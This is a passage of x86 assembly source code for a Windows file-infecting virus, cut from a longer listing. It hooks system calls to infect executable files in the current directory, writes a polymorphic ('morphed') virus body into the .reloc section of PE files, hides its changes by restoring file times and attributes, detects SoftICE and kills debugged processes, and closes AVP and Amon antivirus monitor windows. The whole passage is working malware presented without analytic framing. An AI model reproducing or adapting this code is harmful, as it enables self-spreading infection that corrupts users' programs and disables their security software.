j_api oldMoveFileExA
|
|
newOpenFile:
|
|
call process_file
|
|
j_api oldOpenFile
|
|
newSetFileAttributesA:
|
|
call process_file
|
|
j_api oldSetFileAttributesA
|
|
newWinExec:
|
|
call process_file
|
|
j_api oldWinExec
|
|
|
|
open_driver:
|
|
xor eax, eax ;EAX=0
|
|
push eax ;parameters
|
|
push 4000000h ;for
|
|
push eax ;CreateFileA
|
|
push eax ;API
|
|
push eax ;function
|
|
push eax ;...
|
|
push ebx
|
|
call [ebp + ddCreateFileA - mgdelta] ;open driver
|
|
ret
|
|
close_driver:
|
|
push eax ;close its handle
|
|
call [ebp + ddCloseHandle - mgdelta]
|
|
ret
|
|
|
|
common_stage: ;infect files in curr. directory
|
|
pushad
|
|
call gtDelta ;get delta offset
|
|
|
|
mov ecx, fs:[20h] ;get context debug
|
|
jecxz n_debug ;if zero, debug is not present
|
|
|
|
k_debug:mov eax, 0
|
|
ddGetCurrentProcessId = dword ptr $-4
|
|
call eax ;get ID number of current process
|
|
call vlcb_stuph ;common stuph
|
|
lea esi, [ebp + data_buffer - mgdelta]
|
|
mov dword ptr [esi.WFD_szAlternateFileName], ebp ;set random data
|
|
mov ebx, VLCB_Debug1 ;kill debugger
|
|
call get_set_VLCB ;IPC!
|
|
|
|
vlcb_stuph:
|
|
xor edx, edx ;random thread
|
|
dec edx
|
|
mov ecx, VLCB_SetWait ;set and wait for result
|
|
ret
|
|
|
|
n_debug:call vlcb_stuph ;common stuph
|
|
lea esi, [ebp + data_buffer - mgdelta]
|
|
mov dword ptr [esi.WFD_szAlternateFileName], ebp ;set random data
|
|
mov ebx, VLCB_Debug2 ;check for SoftICE
|
|
call get_set_VLCB ;IPC!
|
|
mov eax, dword ptr [esi.WFD_szAlternateFileName] ;get result
|
|
dec eax
|
|
test eax, eax
|
|
je endEP ;quit if SoftICE in memory
|
|
|
|
call vlcb_stuph ;common stuph
|
|
lea esi, [ebp + data_buffer - mgdelta]
|
|
mov dword ptr [esi.WFD_szAlternateFileName], ebp ;set random data
|
|
mov ebx, VLCB_Monitor ;kill monitors
|
|
call get_set_VLCB ;IPC!
|
|
|
|
lea ebx, [ebp + WFD - mgdelta] ;get Win32 Find Data
|
|
push ebx ;store its address
|
|
call star
|
|
db '*.*',0 ;create mask
|
|
star: mov eax, 0
|
|
ddFindFirstFileA = dword ptr $-4
|
|
call eax ;find file
|
|
inc eax
|
|
je endEP ;if error, then quit
|
|
dec eax
|
|
mov [ebp + fHandle - mgdelta], eax ;store handle
|
|
call Check&Infect ;and try to infect file
|
|
|
|
findF: lea ebx, [ebp + WFD - mgdelta] ;get Win32 Find Data
|
|
push ebx ;store address
|
|
push_LARGE_0 ;store handle
|
|
fHandle = dword ptr $-4
|
|
mov eax, 0
|
|
ddFindNextFileA = dword ptr $-4
|
|
call eax ;find next file
|
|
xchg eax, ecx ;result to ECX
|
|
jecxz endEP2 ;no more files, quit
|
|
call Check&Infect ;try to infect file
|
|
jmp findF ;find another file
|
|
|
|
endEP2: push dword ptr [ebp + fHandle - mgdelta];store handle
|
|
mov eax, 0
|
|
ddFindClose = dword ptr $-4
|
|
call eax ;close it
|
|
endEP: popad
|
|
ret
|
|
|
|
|
|
newExitProcess: ;hooker for ExitProcess API
|
|
pushad
|
|
call common_stage ;infect files in current directory
|
|
call gtDelta ;get delta offset
|
|
mov edx, [ebp + t_number - mgdelta] ;get ID number of thread
|
|
push edx
|
|
mov ecx, VLCB_SetWait ;set and wait for result
|
|
lea esi, [ebp + data_buffer - mgdelta]
|
|
mov dword ptr [esi.WFD_szAlternateFileName], ebp
|
|
mov ebx, VLCB_Quit ;terminate thread
|
|
call get_set_VLCB ;IPC!
|
|
|
|
pop edx ;number of thread
|
|
imul edx, VLCB_TSize ;now we will
|
|
push VLCB_TSize/4 ;erase thread
|
|
pop ecx ;record
|
|
add edi, edx ;from VLCB
|
|
add edi, VLCB_TSep
|
|
xor eax, eax
|
|
rep stosd ;...
|
|
popad
|
|
j_api oldExitProcess ;jump to original API
|
|
|
|
|
|
;next hookers
|
|
newExitThread:
|
|
call common_stage
|
|
j_api oldExitThread
|
|
newCloseHandle:
|
|
call common_stage
|
|
j_api oldCloseHandle
|
|
newGetLastError:
|
|
call common_stage
|
|
j_api oldGetLastError
|
|
|
|
|
|
Monitor:pushad ;store all registers
|
|
call szU32 ;push address of string USER32.dll
|
|
db 'USER32',0
|
|
szU32: mov eax, 0
|
|
ddLoadLibraryA = dword ptr $-4 ;Load USER32.dll
|
|
call eax
|
|
xchg eax, ebx
|
|
test ebx, ebx
|
|
je end_mon2 ;quit if error
|
|
call FindWindowA ;push address of string FindWindowA
|
|
db 'FindWindowA',0
|
|
FindWindowA:
|
|
push ebx ;push lib handle
|
|
mov eax, 0
|
|
ddGetProcAddress = dword ptr $-4 ;get address of FindWindowA API
|
|
call eax
|
|
xchg eax, esi
|
|
test esi, esi
|
|
je end_mon ;quit if error
|
|
call PostMessageA ;push address of string PostMessageA
|
|
db 'PostMessageA',0
|
|
PostMessageA:
|
|
push ebx
|
|
call [ebp + ddGetProcAddress - mgdelta] ;get address of PostMessageA
|
|
xchg eax, edi
|
|
test edi, edi
|
|
je end_mon ;quit if error
|
|
|
|
mov ecx, 3 ;number of monitors
|
|
call Monitors ;push address of strings
|
|
db 'AVP Monitor',0 ;AVP monitor
|
|
db 'Amon Antivirus Monitor',0 ;AMON english version
|
|
db 'Antiv?rusov? monitor Amon',0 ;AMON slovak version
|
|
Monitors:
|
|
pop edx ;pop address
|
|
k_mon: pushad ;store all registers
|
|
xor ebp, ebp
|
|
push edx
|
|
push ebp
|
|
call esi ;find window
|
|
test eax, eax
|
|
je next_mon ;quit if not found
|
|
push ebp
|
|
push ebp
|
|
push 12h ;WM_QUIT
|
|
push eax
|
|
call edi ;destroy window
|
|
next_mon:
|
|
popad ;restore all registers
|
|
push esi
|
|
mov esi, edx
|
|
@endsz ;get to next string
|
|
mov edx, esi ;move it to EDX
|
|
pop esi
|
|
loop k_mon ;try another monitor
|
|
|
|
end_mon:push ebx ;push lib handle
|
|
mov eax, 0
|
|
ddFreeLibrary = dword ptr $-4
|
|
call eax ;unload library
|
|
end_mon2:
|
|
popad ;restore all registers
|
|
jmp d_wr ;and quit
|
|
|
|
|
|
Debug2: lea ebx, [ebp + sice95 - mgdelta] ;address of softice driver string
|
|
call open_driver ;open driver
|
|
inc eax ;is EAX==0?
|
|
je n_sice ;yeah, SoftICE is not present
|
|
dec eax
|
|
call close_driver ;close driver
|
|
jmp d_wr ;and quit
|
|
n_sice: lea ebx, [ebp + siceNT - mgdelta] ;address of softice driver string
|
|
call open_driver ;open driver
|
|
inc eax
|
|
je n2_db ;quit if not present
|
|
dec eax
|
|
call close_driver ;close driver
|
|
jmp d_wr ;and quit
|
|
|
|
|
|
Debug1: push dword ptr [esi.WFD_szAlternateFileName] ;push ID number of process
|
|
push 0
|
|
push 1
|
|
mov eax, 0
|
|
ddOpenProcess = dword ptr $-4
|
|
call eax ;open process
|
|
test eax, eax
|
|
jne n1_db
|
|
n2_db: call t_write ;quit if error
|
|
jmp m_thrd
|
|
n1_db: push 0
|
|
push eax
|
|
mov eax, 0
|
|
ddTerminateProcess = dword ptr $-4 ;destroy debugged process :)
|
|
call eax
|
|
jmp t_write
|
|
|
|
mThread:pushad ;main IPC thread
|
|
@SEH_SetupFrame ;setup SEH frame
|
|
call gtDelta ;get delta
|
|
|
|
m_thrd: mov edx, 0 ;get thread ID number
|
|
t_number = dword ptr $-4
|
|
mov ecx, VLCB_WaitGet
|
|
lea esi, [ebp + data_buffer - mgdelta]
|
|
call get_set_VLCB ;wait for request
|
|
dec ecx
|
|
jecxz Quit ;quit
|
|
dec ecx
|
|
jecxz Check ;check file
|
|
cmp ecx, 1
|
|
je Infect ;check and infect file
|
|
cmp ecx, 2
|
|
je Debug1 ;check for debugger
|
|
cmp ecx, 3
|
|
je Debug2 ;check for SoftICE
|
|
cmp ecx, 4
|
|
je Monitor ;kill AV monitors
|
|
|
|
push 0
|
|
call [ebp + ddSleep - mgdelta] ;switch to next thread
|
|
jmp m_thrd ;and again...
|
|
|
|
Quit: call t_write ;write result
|
|
end_mThread:
|
|
@SEH_RemoveFrame ;remove SEH frame
|
|
popad ;restore all registers
|
|
ret ;and quit from thread
|
|
t_write:xor ecx, ecx ;set result
|
|
inc ecx
|
|
t_wr: inc ecx
|
|
mov dword ptr [esi.WFD_szAlternateFileName], ecx ;write it
|
|
mov ecx, VLCB_SetWait ;set and wait
|
|
mov edx, [ebp + t_number - mgdelta] ;this thread
|
|
call get_set_VLCB ;IPC!
|
|
ret
|
|
Check: @SEH_SetupFrame ;setup SEH frame
|
|
call CheckFile ;check file
|
|
jecxz err_sCheck ;quit if error
|
|
_c1_ok: @SEH_RemoveFrame ;remove SEH frame
|
|
call t_write ;write result
|
|
jmp m_thrd ;and quit
|
|
err_sCheck:
|
|
@SEH_RemoveFrame ;remove SEH frame
|
|
d_wr: xor ecx, ecx
|
|
call t_wr ;write result
|
|
jmp m_thrd ;and quit
|
|
|
|
Infect: @SEH_SetupFrame ;setup SEH frame
|
|
call InfectFile ;check and infect file
|
|
jmp _c1_ok ;and quit
|
|
|
|
InfectFile:
|
|
lea esi, [esi.WFD_szFileName] ;get filename
|
|
pushad
|
|
xor eax, eax
|
|
push eax
|
|
push FILE_ATTRIBUTE_NORMAL
|
|
push OPEN_EXISTING
|
|
push eax
|
|
push eax
|
|
push GENERIC_READ or GENERIC_WRITE
|
|
push esi
|
|
mov eax, 0
|
|
ddCreateFileA = dword ptr $-4
|
|
call eax ;open file
|
|
inc eax
|
|
je r_attr ;quit if error
|
|
dec eax
|
|
mov [ebp + hFile - mgdelta], eax ;save handle
|
|
|
|
xor edx, edx
|
|
push edx
|
|
push edx
|
|
push edx
|
|
push PAGE_READWRITE
|
|
push edx
|
|
push eax
|
|
mov eax, 0
|
|
ddCreateFileMappingA = dword ptr $-4
|
|
call eax ;create file mapping
|
|
xchg eax, ecx
|
|
jecxz endCreateMapping ;quit if error
|
|
mov [ebp + hMapFile - mgdelta], ecx ;save handle
|
|
|
|
xor edx, edx
|
|
push edx
|
|
push edx
|
|
push edx
|
|
push FILE_MAP_WRITE
|
|
push ecx
|
|
mov eax, 0
|
|
ddMapViewOfFile = dword ptr $-4
|
|
call eax ;map view of file
|
|
xchg eax, ecx
|
|
jecxz endMapFile ;quit if error
|
|
mov [ebp + lpFile - mgdelta], ecx ;save base address
|
|
jmp nOpen
|
|
|
|
endMapFile:
|
|
push_LARGE_0 ;store base address
|
|
lpFile = dword ptr $-4
|
|
mov eax, 0
|
|
ddUnmapViewOfFile = dword ptr $-4
|
|
call eax ;unmap view of file
|
|
|
|
endCreateMapping:
|
|
push_LARGE_0 ;store handle
|
|
hMapFile = dword ptr $-4
|
|
call [ebp + ddCloseHandle - mgdelta] ;close file mapping
|
|
|
|
lea eax, [ebp + data_buffer.WFD_ftLastWriteTime - mgdelta]
|
|
push eax
|
|
lea eax, [ebp + data_buffer.WFD_ftLastAccessTime - mgdelta]
|
|
push eax
|
|
lea eax, [ebp + data_buffer.WFD_ftCreationTime - mgdelta]
|
|
push eax
|
|
push dword ptr [ebp + hFile - mgdelta]
|
|
mov eax, 0
|
|
ddSetFileTime = dword ptr $-4
|
|
call eax ;set back file time
|
|
|
|
push_LARGE_0 ;store handle
|
|
hFile = dword ptr $-4
|
|
call [ebp + ddCloseHandle - mgdelta] ;close file
|
|
|
|
r_attr: push dword ptr [ebp + data_buffer - mgdelta]
|
|
lea esi, [ebp + data_buffer.WFD_szFileName - mgdelta]
|
|
push esi ;filename
|
|
call [ebp + ddSetFileAttributesA - mgdelta] ;set back file attributes
|
|
jmp c_error ;and quit
|
|
|
|
nOpen: mov ebx, ecx
|
|
cmp word ptr [ebx], IMAGE_DOS_SIGNATURE ;must be MZ
|
|
jne endMapFile
|
|
mov esi, [ebx.MZ_lfanew]
|
|
add esi, ebx
|
|
lodsd
|
|
cmp eax, IMAGE_NT_SIGNATURE ;must be PE\0\0
|
|
jne endMapFile
|
|
cmp word ptr [esi.FH_Machine], IMAGE_FILE_MACHINE_I386 ;must be 386+
|
|
jne endMapFile
|
|
mov ax, [esi.FH_Characteristics]
|
|
test ax, IMAGE_FILE_EXECUTABLE_IMAGE ;must be executable
|
|
je endMapFile
|
|
test ax, IMAGE_FILE_DLL ;mustnt be DLL
|
|
jne endMapFile
|
|
test ax, IMAGE_FILE_SYSTEM ;mustnt be system file
|
|
jne endMapFile
|
|
mov al, byte ptr [esi.OH_Subsystem]
|
|
test al, IMAGE_SUBSYSTEM_NATIVE ;and mustnt be driver (thanx GriYo !)
|
|
jne endMapFile
|
|
|
|
movzx ecx, word ptr [esi.FH_NumberOfSections] ;must be more than one section
|
|
dec ecx
|
|
test ecx, ecx
|
|
je endMapFile
|
|
imul eax, ecx, IMAGE_SIZEOF_SECTION_HEADER
|
|
movzx edx, word ptr [esi.FH_SizeOfOptionalHeader]
|
|
lea edi, [eax+edx+IMAGE_SIZEOF_FILE_HEADER]
|
|
add edi, esi ;get to section header
|
|
|
|
lea edx, [esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress-4]
|
|
mov eax, [edx]
|
|
test eax, eax
|
|
je endMapFile ;quit if no relocs
|
|
mov ecx, [edi.SH_VirtualAddress]
|
|
cmp ecx, eax
|
|
jne endMapFile ;is it .reloc section?
|
|
cmp [edi.SH_SizeOfRawData], 1a00h
|
|
jb endMapFile ;check if .reloc is big enough
|
|
pushad
|
|
xor eax, eax
|
|
mov edi, edx
|
|
stosd ;erase .reloc records
|
|
stosd
|
|
popad
|
|
|
|
mov eax, ebx ;now we will try to
|
|
xor ecx, ecx ;patch
|
|
it_patch:
|
|
pushad ;one API call
|
|
mov edx, dword ptr [ebp + crcpAPIs + ecx*4 - mgdelta] ;get CRC32
|
|
test edx, edx
|
|
jne c_patch
|
|
popad
|
|
jmp end_patch ;quit if end of record
|
|
c_patch:push dword ptr [edi.SH_VirtualAddress] ;patch address
|
|
push edx ;CRC32
|
|
mov [ebp + r2rp - mgdelta], eax ;infection stage
|
|
call PatchIT ;try to patch API call
|
|
mov [esp.Pushad_edx], eax ;save address
|
|
test eax, eax
|
|
popad
|
|
jne end_patch ;quit if we got address
|
|
inc ecx
|
|
jmp it_patch ;API call not found, try another API
|
|
|
|
end_patch:
|
|
mov eax, edx
|
|
mov edx, [esi.NT_OptionalHeader.OH_ImageBase-4] ;get Image base
|
|
mov [ebp + compressed + (ImgBase-decompressed) - mgdelta], edx ;save it
|
|
lea edx, [ebp + compressed + (ddAPI-decompressed) - mgdelta]
|
|
push dword ptr [edx] ;store prev. API call
|
|
mov [edx], eax ;save new one
|
|
pushad ;store all registers
|
|
lea esi, [ebp + compressed+(VulcanoInit-decompressed) - mgdelta]
|
|
mov edi, [edi.SH_PointerToRawData]
|
|
add edi, ebx ;where to write body
|
|
mov ecx, (decompressed-VulcanoInit+3)/4 ;size of virus body
|
|
call BPE32 ;write morphed body to file!
|
|
mov [esp.Pushad_eax], eax ;save size
|
|
popad
|
|
pop dword ptr [edx] ;restore API call
|
|
or dword ptr [edi.SH_Characteristics], IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
|
|
;set flags
|
|
lea ecx, [edi.SH_VirtualSize] ;get virtual size
|
|
add [ecx], eax ;correct it
|
|
mov ecx, [esi.NT_OptionalHeader.OH_FileAlignment-4]
|
|
xor edx, edx
|
|
div ecx
|
|
inc eax
|
|
mul ecx
|
|
mov edx, [edi.SH_SizeOfRawData]
|
|
mov [edi.SH_SizeOfRawData], eax ;align SizeOfRawData
|
|
test dword ptr [edi.SH_Characteristics], IMAGE_SCN_CNT_INITIALIZED_DATA
|
|
je rs_ok
|
|
sub eax, edx
|
|
add [esi.NT_OptionalHeader.OH_SizeOfInitializedData-4], eax
|
|
;update next field, if needed
|
|
rs_ok: mov eax, [edi.SH_VirtualAddress]
|
|
add eax, [edi.SH_VirtualSize]
|
|
xor edx, edx
|
|
mov ecx, [esi.NT_OptionalHeader.OH_SectionAlignment-4]
|
|
div ecx
|
|
inc eax
|
|
mul ecx
|
|
mov [esi.NT_OptionalHeader.OH_SizeOfImage-4], eax ;new SizeOfImage
|
|
jmp endMapFile ;everything is ok, we can quit
|
|
|
|
CheckFile:
|
|
pushad
|
|
mov ebx, esi
|
|
test [ebx.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY
|
|
jne c_error ;discard directory entries
|
|
xor ecx, ecx
|
|
cmp [ebx.WFD_nFileSizeHigh], ecx ;discard files >4GB
|
|
jne c_error
|
|
mov edi, [ebx.WFD_nFileSizeLow]
|
|
cmp edi, 4000h ;discard small files
|
|
jb c_error
|
|
|
|
lea esi, [ebx.WFD_szFileName] ;get filename
|
|
push esi
|
|
endf: lodsb
|
|
cmp al, '.' ;search for dot
|
|
jne endf
|
|
dec esi
|
|
lodsd ;get filename extension
|
|
or eax, 20202020h ;make it lowercase
|
|
not eax ;mask it
|
|
pop esi
|
|
cmp eax, not 'exe.' ;is it EXE?
|
|
je extOK
|
|
cmp eax, not 'rcs.' ;is it SCR?
|
|
je extOK
|
|
cmp eax, not 'xfs.' ;is it SFX?
|
|
je extOK
|
|
cmp eax, not 'lpc.' ;is it CPL?
|
|
je extOK
|
|
cmp eax, not 'tad.' ;is it DAT?
|
|
je extOK
|
|
cmp eax, not 'kab.' ;is it BAK?
|
|
je extOK
|
|
xor ecx, ecx
|
|
inc ecx
|
|
c_error:mov [esp.Pushad_ecx], ecx ;save result
|
|
popad
|
|
ret
|
|
extOK: push FILE_ATTRIBUTE_NORMAL ;normal file
|
|
push esi ;filename
|
|
mov eax, 0
|
|
ddSetFileAttributesA = dword ptr $-4
|
|
call eax ;blank file attributes
|
|
xchg eax, ecx
|
|
jmp c_error
|
|
|
|
|
|
get_set_VLCB: ;get/set VLCB records procedure (IPC)
|
|
;input: ECX - 0=set/wait else wait/get
|
|
; ESI - pointer to data, if ECX!=0
|
|
; EBX - ID number of request
|
|
; EDX - -1, if random thread, otherwise
|
|
; - number of thread.
|
|
;output:ECX - if input ECX!=0, ECX=ID
|
|
; - if error, ECX=-1
|
|
; EDX - if ECX!=0, number of thread
|
|
; ESI - ptr to data, if input ECX=0
|
|
mov edi, 0
|
|
vlcbBase = dword ptr $-4
|
|
inc edx
|
|
je t_rnd ;get random record
|
|
dec edx
|
|
imul eax, edx, VLCB_TSize-8
|
|
add edi, eax
|
|
jecxz sw_VLCB
|
|
cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0
|
|
je qq
|
|
call w_wait ;wait for free mutex
|
|
pushad
|
|
xchg esi, edi
|
|
lea esi, [esi.VLCB_TSep.VLCB_TData]
|
|
mov ecx, (VLCB_TSize-8)/4
|
|
rep movsd ;copy data
|
|
popad
|
|
mov ecx, [edi.VLCB_TSep.VLCB_TID] ;get ID
|
|
push ecx
|
|
call r_mutex ;release mutex
|
|
pop ecx
|
|
ret ;and quit
|
|
t_next: add edi, VLCB_TSize-8 ;move to next record
|
|
inc edx
|
|
loop tsrch
|
|
qqq: pop ecx
|
|
qq: xor ecx, ecx
|
|
dec ecx
|
|
ret
|
|
t_rnd: push ecx ;pass thru 20 records
|
|
push 20
|
|
pop ecx
|
|
xor edx, edx
|
|
tsrch: cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0
|
|
je t_next ;check if its free
|
|
pop ecx
|
|
sw_VLCB:call w_wait ;wait for free mutex
|
|
pushad
|
|
lea edi, [edi.VLCB_TSep.VLCB_TData]
|
|
mov ecx, (VLCB_TSize-8)/4
|
|
rep movsd ;copy data
|
|
popad
|
|
mov [edi.VLCB_TSep.VLCB_TID], ebx
|
|
pushad
|
|
lea esi, [edi.VLCB_TSep.VLCB_TData.WFD_szAlternateFileName]
|
|
mov ebp, [esi] ;get result
|
|
call r_mutex ;signalize mutex
|
|
slp: call sleep ;switch to next thread
|
|
cmp [esi], ebp ;check for change
|
|
je slp ;no change, wait
|
|
popad
|
|
xor ecx, ecx
|
|
ret ;quit
|
|
w_wait: call open_mutex ;open mutex
|
|
push eax
|
|
push 10000 ;wait 10 seconds
|
|
push eax
|
|
mov eax, 0
|
|
ddWaitForSingleObject = dword ptr $-4
|
|
call eax
|
|
test eax, eax
|
|
pop eax
|
|
jne qqq ;quit if not signalized
|
|
call close_mutex ;close mutex
|
|
ret ;and quit
|
|
open_mutex:
|
|
lea eax, [edi.VLCB_TSep.VLCB_THandle] ;name of mutex
|
|
push eax
|
|
push 0
|
|
push 0f0000h or 100000h or 1 ;access flags
|
|
mov eax, 0
|
|
ddOpenMutexA = dword ptr $-4 ;open mutex
|
|
call eax
|
|
ret
|
|
r_mutex:call open_mutex ;open mutex
|
|
push eax
|
|
push eax
|
|
mov eax, 0
|
|
ddReleaseMutex = dword ptr $-4
|
|
call eax ;singalize mutex
|
|
pop eax
|
|
close_mutex:
|
|
push eax
|
|
mov eax, 0
|
|
ddCloseHandle = dword ptr $-4
|
|
call eax ;close mutex
|
|
ret
|
|
sleep: push 0 ;switch to next thread
|
|
mov eax, 0
|
|
ddSleep = dword ptr $-4
|
|
call eax ;switch!
|
|
ret
|
|
|
|
|
|
Check&Infect:
|
|
pushad
|
|
mov esi, ebx ;get ptr to data
|
|
pushad
|
|
call vlcb_stuph ;common stuph
|
|
mov ebx, VLCB_Check ;check only
|
|
call get_set_VLCB ;IPC!
|
|
inc ecx
|
|
popad
|
|
je _ret_ ;quit if error
|
|
mov eax, dword ptr [esi.WFD_szAlternateFileName]
|
|
dec eax
|
|
test eax, eax
|
|
je _ret_
|
|
sc1_ok: call vlcb_stuph ;common stuph
|
|
mov ebx, VLCB_Infect ;check and infect
|
|
call get_set_VLCB ;IPC!
|
|
_ret_: popad
|
|
ret
|
|
|
|
CRC32: push ecx ;procedure to calculate CRC32
|
|
push edx
|
|
push ebx
|
|
xor ecx, ecx
|
|
dec ecx
|
|
mov edx, ecx
|
|
NextByteCRC:
|
|
xor eax, eax
|
|
xor ebx, ebx
|
|
lodsb
|
|
xor al, cl
|
|
mov cl, ch
|
|
mov ch, dl
|
|
mov dl, dh
|
|
mov dh, 8
|
|
NextBitCRC:
|
|
shr bx, 1
|
|
rcr ax, 1
|
|
jnc NoCRC
|
|
xor ax, 08320h
|
|
xor bx, 0edb8h
|
|
NoCRC: dec dh
|
|
jnz NextBitCRC
|
|
xor ecx, eax
|
|
xor edx, ebx
|
|
dec edi
|
|
jne NextByteCRC
|
|
not edx
|
|
not ecx
|
|
pop ebx
|
|
mov eax, edx
|
|
rol eax, 16
|
|
mov ax, cx
|
|
pop edx
|
|
pop ecx
|
|
ret
|
|
|
|
|
|
SearchET: ;procedure for recieving API names from Export table
|
|
pushad ;save all registers
|
|
@SEH_SetupFrame ;setup SEH frame
|
|
mov edi, [eax.MZ_lfanew] ;get ptr to PE header
|
|
add edi, eax ;make pointer raw
|
|
mov ecx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
|
|
jecxz address_not_found ;quit, if no exports
|
|
mov ebx, eax
|
|
add ebx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
|
|
mov edx, eax ;get RVA to Export table
|
|
add edx, [ebx.ED_AddressOfNames] ;offset to names
|
|
mov ecx, [ebx.ED_NumberOfNames] ;number of name
|
|
mov edi, esi
|
|
push edi
|
|
xchg eax, ebp
|
|
xor eax, eax
|
|
APIname:push eax
|
|
mov esi, ebp
|
|
add esi, [edx+eax*4] ;get to API name
|
|
push esi
|
|
@endsz ;get to the end of API name
|
|
sub esi, [esp] ;get size of API name
|
|
mov edi, esi ;to EDI
|
|
pop esi ;restore ptr to API name
|
|
call CRC32 ;get its CRC32
|
|
mov edi, [esp+4] ;get requested CRC32
|
|
cmp eax, [edi] ;is it same
|
|
pop eax
|
|
je mcrc ;yeah
|
|
nchar: inc eax ;no, increment counter
|
|
loop APIname ;and get next API name
|
|
pop eax ;clean stack
|
|
address_not_found:
|
|
xor eax, eax ;and quit
|
|
jmp endGPA
|
|
mcrc: pop edx
|
|
mov edx, ebp
|
|
add edx, [ebx.ED_AddressOfOrdinals] ;skip over ordinals
|
|
movzx eax, word ptr [edx+eax*2]
|
|
cmp eax, [ebx.ED_NumberOfFunctions]
|
|
jae address_not_found
|
|
mov edx, ebp
|
|
add edx, [ebx.ED_AddressOfFunctions] ;get start of function addresses
|
|
add ebp, [edx+eax*4] ;make it pointer to our API
|
|
xchg eax, ebp ;address to EAX
|
|
endGPA: @SEH_RemoveFrame ;remove SEH frame
|
|
mov [esp.Pushad_eax], eax ;store address
|
|
popad ;restore all registers
|
|
ret ;and quit
|
|
|
|
|
|
a_go: inc esi ;jump over alignments
|
|
inc esi
|
|
pushad ;store all registers
|
|
xor edx, edx ;zero EDX
|
|
xchg eax, esi
|
|
push 2
|
|
pop ecx
|
|
div ecx
|
|
test edx, edx
|
|
je end_align ;no alignments needed
|
|
inc eax ;align API name
|
|
end_align:
|
|
mul ecx
|
|
mov [esp.Pushad_esi], eax
|
|
popad ;restore all registers
|
|
ret
|
|
|
|
|
|
PatchIT Proc ;procedure for patching API calls
|
|
pushad ;store all registers
|
|
@SEH_SetupFrame ;setup SEH frame
|
|
call itDlta
|
|
itDelta:db 0b8h
|
|
itDlta: pop ebp
|
|
mov [ebp + gmh - itDelta], eax ;save it
|
|
mov ebx, [eax.MZ_lfanew] ;get to PE header
|
|
add ebx, eax ;make pointer raw
|
|
push dword ptr [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
|
|
call rva2raw
|
|
pop edx
|
|
sub edx, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
|
|
push edi
|
|
n_dll: pop edi
|
|
add edx, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
|
|
lea edi, [ebp + szK32 - itDelta] ;get Kernel32 name
|
|
mov esi, [edx]
|
|
test esi, esi
|
|
je endPIT
|
|
sdll: push dword ptr [edx.ID_Name]
|
|
call rva2raw
|
|
pop esi
|
|
push edi
|
|
cmpsd ;is it K32?
|
|
jne n_dll
|
|
cmpsd
|
|
jne n_dll
|
|
cmpsd
|
|
jne n_dll
|
|
pop edi
|
|
xor ecx, ecx ;zero counter
|
|
push dword ptr [edx.ID_OriginalFirstThunk] ;get first record
|
|
call rva2raw
|
|
pop esi
|
|
push dword ptr [esi] ;get first API name
|
|
call rva2raw
|
|
pop esi
|
|
pit_align:
|
|
call a_go
|
|
push esi ;store pointer
|
|
@endsz ;get to the end of API name
|
|
mov edi, esi
|
|
sub edi, [esp] ;move size of API name to EDI
|
|
pop esi ;restore pointer
|
|
push eax ;store EAX
|
|
call CRC32 ;calculate CRC32 of API name
|
|
cmp eax, [esp.cPushad+10h] ;check, if it is requested API
|
|
je a_ok ;yeah, it is
|
|
inc ecx
|
|
mov eax, [esi] ;check, if there is next API
|
|
test eax, eax ;...
|
|
pop eax ;restore EAX
|
|
jne pit_align ;yeah, check it
|
|
jmp endPIT ;no, quit
|
|
a_ok: pop eax ;restore EAX
|
|
push dword ptr [edx.ID_FirstThunk] ;get address to IAT
|
|
call rva2raw
|
|
pop edx
|
|
mov eax, [edx+ecx*4] ;get address
|
|
mov [esp.Pushad_eax+8], eax ;and save it to stack
|
|
pushad ;store all registers
|
|
mov eax, 0 ;get base address of program
|
|
gmh = dword ptr $-4
|
|
mov ebx, [eax.MZ_lfanew]
|
|
add ebx, eax ;get PE header
|
|
|
|
push dword ptr [ebx.NT_OptionalHeader.OH_BaseOfCode] ;get base of code
|
|
call rva2raw ;normalize
|
|
pop esi ;to ESI
|
|
mov ecx, [ebx.NT_OptionalHeader.OH_SizeOfCode] ;and its size
|
|
pushad
|
|
call p_var
|
|
dd ?
|
|
p_var: push PAGE_EXECUTE_READWRITE
|
|
push ecx
|
|
push esi
|
|
mov eax, 0
|
|
ddVirtualProtect = dword ptr $-4
|
|
call eax ;set writable right
|
|
test eax, eax
|
|
popad
|
|
je endPIT
|
|
sJMP: mov dl, [esi] ;get byte from code
|
|
inc esi
|
|
cmp dl, 0ffh ;is it JMP/CALL?
|
|
jne lJMP ;check, if it is
|
|
cmp byte ptr [esi], 25h ;JMP DWORD PTR [XXXXXXXXh]
|
|
je gIT1
|
|
cmp byte ptr [esi], 15h ;or CALL DWORD PTR [XXXXXXXXh]
|
|
jne lJMP
|
|
mov dl, 0e8h
|
|
jmp gIT2
|
|
gIT1: mov dl, 0e9h
|
|
gIT2: mov [ebp + j_or_c - itDelta], dl ;change opcode
|
|
mov edi, [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
|
|
add edi, [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_Size]
|
|
push ecx
|
|
mov ecx, [ebx.NT_OptionalHeader.OH_ImageBase]
|
|
add edi, ecx
|
|
push ebp
|
|
mov ebp, [esi+1]
|
|
sub ebp, ecx
|
|
push ebp
|
|
call rva2raw
|
|
pop ebp
|
|
sub ebp, eax
|
|
add ebp, ecx
|
|
sub edi, ebp
|
|
pop ebp
|
|
pop ecx
|
|
js lJMP ;check, if it is correct address
|
|
push ecx
|
|
push edx ;store EDX
|
|
mov edx, [esp.Pushad_ecx+8] ;get counter
|
|
imul edx, 4 ;multiply it by 4
|
|
add edx, [esp.Pushad_edx+8] ;add address to IAT to ptr
|
|
sub edx, eax
|
|
mov ecx, [esi+1]
|
|
sub ecx, [ebx.NT_OptionalHeader.OH_ImageBase]
|
|
push ecx
|
|
call rva2raw
|
|
pop ecx
|
|
sub ecx, eax
|
|
cmp edx, ecx ;is it current address
|
|
pop edx
|
|
pop ecx ;restore EDX
|
|
